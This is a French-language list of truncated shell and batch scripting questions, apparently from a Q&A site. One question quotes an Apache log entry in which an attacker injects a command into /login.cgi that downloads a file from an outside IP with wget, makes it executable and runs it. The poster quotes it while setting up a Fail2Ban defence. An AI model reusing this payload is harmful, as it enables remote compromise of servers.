Est-ce que quelqu'un connaît un bon moyen de convertir par lots un groupe de PNG en JPG sous Linux? (J'utilise Ubuntu). Un fichier binaire png2jpg que je pourrais simplement insérer dans un script shell serait idéal.
Quelqu'un a-t-il un modèle de script shell permettant de créer lsune liste de noms de répertoires et de les parcourir en boucle? Je prévois de faire ls -1d */pour obtenir la liste des noms de répertoires.
Duplication possible: Différence entre “a = b” et “export a = b” dans bash C'est difficile à admettre, mais je n'ai jamais vraiment compris ce que exportfait exactement une variable d'environnement. Je sais que si je n'exporte pas de variable, je ne la vois parfois pas dans les processus enfants, …
Lorsque j'essaie d'exécuter un fichier (name.sh) dans la ligne de commande à l'aide de la commande ./name.sh, j'obtiens le message d'erreur suivant: "." n'est pas reconnu en tant que commande interne ou externe, fichier exploitable ou batch aidez-moi s'il vous plaît à exécuter le fichier .sh
J'essaie d'écrire un script dans lequel je veux vérifier si l'un des paramètres transmis à un script bash correspond à une chaîne. La façon dont je l'ai configuré en ce moment est if [ "$3" != "-disCopperBld" -a "$4" != "-disCopperBld" -a "$5" != "-disCopperBld" -a "$6" != "-disCopperBld"] mais …
J'ai un programme Linux capable d'écrire des informations sur stdout et stderr. J'ai un script shell qui redirige cette sortie vers un fichier /var/log. (Via >>et 2>&1.) Existe-t-il un moyen de faire pivoter ce fichier journal? (taille maximale, puis passer à un autre fichier, ne conserver qu'un nombre limité de …
Je suis en train de faire un script shell pour emballer certains fichiers. Je suis en train de zipper un répertoire comme ça: zip -r /Users/me/development/something/out.zip /Users/me/development/something/folder/ Le problème est que l'archive out.zip résultante contient le chemin d'accès complet au fichier. C'est-à-dire que, une fois décompressé, il contiendra l'intégralité du …
Comment configurer une variable de tableau dans un script batch DOS? Je voudrais le charger avec une liste de noms de fichiers à traiter. Je voudrais vraiment garder cela aussi simple que possible. Merci.
J'ai remarqué ces derniers temps sur les journaux Apache de mes serveurs: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0" J'ai donc créé un filtre Fail2Ban personnalisé et j'ai commencé à interdire les adresses IP demandant ces URL /login.cgi. Mais j'étais curieux de savoir ce qu'ils …
J'ai utilisé l'un des éléments suivants echo $(stuff) echo `stuff` (où stuffest par exemple pwdou dateou quelque chose de plus compliqué). Puis on m'a dit que cette syntaxe était erronée, une mauvaise pratique, non élégante, excessive, redondante, trop compliquée, une programmation culte du fret, noobish, naïf etc. Mais la commande …
Dans un répertoire, et récursivement dans ses sous-répertoires, ce qui signifie que chaque répertoire d'un répertoire est traité, comment puis-je compiler une liste complète d'extensions uniques dans le répertoire? Le système d'exploitation est Windows XP avec toutes les mises à jour actuelles, mais je peux exécuter un script si je …
Je veux faire écho à une nouvelle ligne dans un fichier entre des variables dans un script shell. Voici mon code: var1 = "Bonjour" var2 = "Monde!" logwrite = "$ var1 [Voici où je veux insérer une nouvelle ligne] $ var2 echo "$ logwrite" >> /Users/username/Desktop/user.txt En ce moment, lorsque …
Disons que j'ai un fichier texte comme celui-ci: # custom content section a b ### BEGIN GENERATED CONTENT c d ### END GENERATED CONTENT Je voudrais remplacer la partie entre les GENERATED CONTENTbalises par le contenu d'un autre fichier. Quelle est la manière la plus simple de procéder?
J'essaye juste d'apprendre un peu le script bash. Mon ancienne version bash: Bash version 3.2.53(1)-release... J'ai mis à jour mon bash sur mac os x yosemite avec homebrew: brew update brew install bash Puis , dans les propriétés du terminal que j'ai changé le chemin shell standard de /bin/bashla /usr/local/bin/bash(Si …
We use cookies and other tracking technologies to improve your browsing experience on our website,
to show you personalized content and targeted ads, to analyze our website traffic,
and to understand where our visitors are coming from.
By continuing, you consent to our use of cookies and other tracking technologies and
affirm you're at least 16 years old or have consent from a parent or guardian.